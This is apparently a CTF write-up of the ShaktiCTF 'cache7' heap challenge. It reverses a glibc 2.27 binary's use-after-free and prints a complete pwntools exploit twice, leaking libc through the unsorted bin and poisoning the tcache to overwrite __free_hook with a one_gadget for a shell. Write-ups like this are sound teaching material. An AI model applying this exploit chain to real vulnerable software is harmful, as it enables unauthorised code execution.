ShaktiCTF{cache7}
Hi everyone!
This week we played on ShaktiCTF
, very funny ctf, kudos to the organizers.
Now, I’ll cover an interesting pwn - heap
challenge, that the main focus was on tcache.
Summary
The challenge give us the challenge
and the respective libc
, which is the ubuntu classic 2.27 (introduction of tcache). A 64-bit binary, FULL RELRO + canary + NX + ASLR
.
root@eef19a26f206:/ctf/work# checksec chall
[*] '/ctf/work/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
root@eef19a26f206:/ctf/work#
By running it with the custom libc
.
root@eef19a26f206:/ctf/work: LD_PRELOAD=./libc-2.27.so ./chall
1. add
2. view
3. delete
4. quit
choice :
1
enter the size
10
Enter data
as
1. add
2. view
3. delete
4. quit
choice :
We’re in front of a classic memory allocation CTF program
, lets reverse it.
recon
From the ASM
, we can see 3 options:
- 1.- add
- 2.- view
- 3.- delete
- 4.- exit
add()
It simply asks for a buf_size
, then, create a chunk of the respective size and read(0, &buf, buf_size);
to it. The chunk reference is saved on a bss pointer
named ptr
, our playing chunk will be the last one malloc'ed
.
Note that we can only alloc chunks of size <= 0xff
.
int64_t add()
0040087e void* fsbase
0040087e int64_t rax = *(fsbase + 0x28)
00400892 puts(str: "enter the size")
004008a8 int32_t buf_size
004008a8 __isoc99_scanf(format: "%d", &buf_size)
004008b0 if (buf_size s<= 0xff)
004008c4 *ptr = malloc(bytes: sx.q(buf_size))
004008d0 puts(str: "Enter data")
004008ea read(fd: 0, buf: *ptr, nbytes: sx.q(buf_size))
004008f4 int64_t rax_10 = rax ^ *(fsbase + 0x28)
00400905 if (rax_10 == 0)
00400905 return rax_10
004008ff __stack_chk_fail()
004008ff noreturn
view()
Write the value inside of the bss pointer
(previously written by malloc).
int64_t view()
0040090f puts(str: "Printing the data inside")
00400925 return puts(str: *ptr)
delete()
Here, we have a classic UAF
, since the pointer is not NULL'ed
after being freed. This allows us to keep viewing it by using the view();
function. Also, we can keep freeing the same pointer over and over again… (this will come handy later).
int64_t delete()
0040092f puts(str: "Deleting...")
00400945 return free(mem: *ptr)
Exploit
The first thing that we need to think is to make a libc leak
, since ASLR is on
.
To achieve it, we can abuse the UAF
bug, but how we write a libc address
to our chunk?.
Well, we first need to make one chunk-insertion to the unsorted bin
, since the respective chunk->fd
, will point to the respective bin entry
.
To achieve that, first, we need to fill the entire tcache[idx=size]
(we can achieve this by freeing multiples times (7 times) the same (target) chunk.
Things to consider:
- To reach the
unsorted_bin
, we need to use some size outside the bounds of the respectivefast_bins
, if not, our chunk is gonna be placed into the fastbins instead of the unsorted bin. - The
target chunk
can’t be at the end of the heap, since we need to avoid theconsolidation
.
I’ll make the code self commented in order to understand :D
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window', "-h"])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./chall" ## change for the challenge name
DEBUG = 1
if DEBUG:
commands = '''b * 0x4008bf
b * 0x40093e
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.27.so"})
else:
p = remote("34.121.211.139",4444)
'''
1. add
2. view
3. delete
4. quit
choice :
'''
def f():
p.recvuntil(b"choice :")
def malloc_do(size, data):
p.sendline(b'1')
p.recvuntil(b'size')
p.sendline(str(size))
p.recvuntil(b'data')
p.send_raw(data)
f()
def free_do():
p.sendline(b'3')
f()
def view_do():
p.sendline(b'2')
p.recvuntil(b'inside\n')
leak = p.recvline().strip()
f()
return leak
def quit_do():
p.sendline(b'4')
yesno("Get a libc leak ?")
# Do one dummy malloc
malloc_do(0x20, b'A')
# Do one big malloc and free it to grab it from the tcache[0xf1]
# This will be the chunk who will end up in the unsorted bin
malloc_do(0xe8, b'C' * 10)
free_do()
# Do another dummy malloc to prevent consolidation with border chunk
malloc_do(0x20, b'A')
# Grab the tcache saved chunk
malloc_do(0xe8, b'C' * 10)
# Fill the tcache by freeing multiples times the same chunk
for k in range(7):
free_do()
# Write a libc arena leak on it by inserting it into the unsorted bin
free_do()
libc_leak = view_do()
libc_leak = libc_leak.ljust(8,b'\x00')
libc_leak = u64(libc_leak)
libc_base = libc_leak - 0x3ebca0
free_hook = libc_base + 0x3ed8e8
one_shot = libc_base + 0x4f3c2
log.info("Libc leak: %s " % hex(libc_leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("free hook: %s " % hex(free_hook) )
log.info("one shot : %s " % hex(one_shot) )
# Now that we have a leak, we need to get a pointer to near &__free_hook
yesno("Continue?")
The heap layout
before the unsorted bin insertion (Having the tcache[idx=0xf0]
filled) is the following:
Just after the unsorted bin insertion
.
Now, by viewing the respective chunk, we can get the victim->fd pointer
, that will point to the unsorted bin entry
, which is in the main arena
[DEBUG] Received 0x2a bytes:
b'1. add\n'
b'2. view\n'
b'3. delete\n'
b'4. quit\n'
b'choice :\n'
[*] Switching to interactive mode
$ 2
[DEBUG] Sent 0x2 bytes:
b'2\n'
[DEBUG] Received 0x4a bytes:
00000000 50 72 69 6e 74 69 6e 67 20 74 68 65 20 64 61 74 │Prin│ting│ the│ dat│
00000010 61 20 69 6e 73 69 64 65 0a a0 7c 19 8d 98 7f 0a │a in│side│··|·│····│
00000020 31 2e 20 61 64 64 0a 32 2e 20 76 69 65 77 0a 33 │1. a│dd·2│. vi│ew·3│
00000030 2e 20 64 65 6c 65 74 65 0a 34 2e 20 71 75 69 74 │. de│lete│·4. │quit│
00000040 0a 63 68 6f 69 63 65 20 3a 0a │·cho│ice │:·│
0000004a
Printing the data inside
\xa0|\x19\x98\x7f
1. add
2. view
3. delete
4. quit
choice :
$
Now that we have a libc leak
, we can do a tcache
attack, in order to make malloc, return an arbitrary pointer, I’ll overwrite
the __free_hook
with the address of a one_gadget
.
A nice article and study material to heap challenges is the nightmare guide, kudos to @guyinatuxedo
The main idea behind a tcache attack
is the following (basic idea):
- Get a chunk written into the
tcache[idx=size]
twice. - Allocate one time (so, we have one reference to the chunk that is written on the
tcache[idx=size]
too). - Overwrite the
victim->fd pointer
of the chunk with an arbitrary address. Note that the address is the same as thetcache[idx=size]
. - On the
next allocation
, malloc will return theHEAD
(victim) of thetcache[idx=size]
and malloc (important part) will maketcache[idx=size]->HEAD = victim->fd
. - Since we overwrite the
victim->fd
pointer, thetcache[idx=size]
new head, will be our custom address ! - On the next
allocation
, malloc will give us an arbitrary pointer.
Our full exploit
, will be the following, I’ll let it self commented in order to understand it. For any doubt, just ping me :D !
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window', "-h"])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./chall" ## change for the challenge name
DEBUG = 1
if DEBUG:
commands = '''b * 0x4008bf
b * 0x40093e
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.27.so"})
else:
p = remote("34.121.211.139",4444)
'''
1. add
2. view
3. delete
4. quit
choice :
'''
def f():
p.recvuntil(b"choice :")
def malloc_do(size, data):
p.sendline(b'1')
p.recvuntil(b'size')
p.sendline(str(size))
p.recvuntil(b'data')
p.send_raw(data)
f()
def free_do():
p.sendline(b'3')
f()
def view_do():
p.sendline(b'2')
p.recvuntil(b'inside\n')
leak = p.recvline().strip()
f()
return leak
def quit_do():
p.sendline(b'4')
yesno("Get a libc leak ?")
# Do one dummy malloc
malloc_do(0x20, b'A')
# Do one big malloc to grab it from the tcache[0xf1]
# This will be the chunk who will end up in the unsorted bin
malloc_do(0xe8, b'C' * 10)
free_do()
# Do another dummy malloc to prevent consolidation with border chunk
malloc_do(0x20, b'A')
# Grab the tcache saved chunk
malloc_do(0xe8, b'C' * 10)
# Fill the tcache by freeing multiples times the same chunk
for k in range(7):
free_do()
# Write a libc arena leak on it by inserting it into the unsorted bin
free_do()
libc_leak = view_do()
libc_leak = libc_leak.ljust(8,b'\x00')
libc_leak = u64(libc_leak)
libc_base = libc_leak - 0x3ebca0
free_hook = libc_base + 0x3ed8e8
one_shot = libc_base + 0x4f3c2
log.info("Libc leak: %s " % hex(libc_leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("free hook: %s " % hex(free_hook) )
log.info("one shot : %s " % hex(one_shot) )
# Now that we have a leak, we need to get a pointer to near &__free_hook
# For that, we will use the UAF bug
yesno("Continue?")
# Alloc one and free it to place in tcache
# Alloc and overwrite it
malloc_do(0x18, b'DEADBEEF')
# Free it twice
free_do()
free_do()
# Malloc and overwrite the victim->fd pointer
malloc_do(0x18, p64(free_hook))
# Do a dummy malloc to make our free_hook as the top of tcache[idx=size]
malloc_do(0x18, b'f')
# Now, our payload is at the top of the tcache
# Overwrite the free_hook with the one_gadget
malloc_do(0x18,p64(one_shot))
# Do a free to trigger __free_hook()
p.sendline(b'3')
p.interactive()
Just like that, we pop a shell
.
Hope that this helps, if there’s any doubt, just ping me,
thanks again for the CTF.
cheers!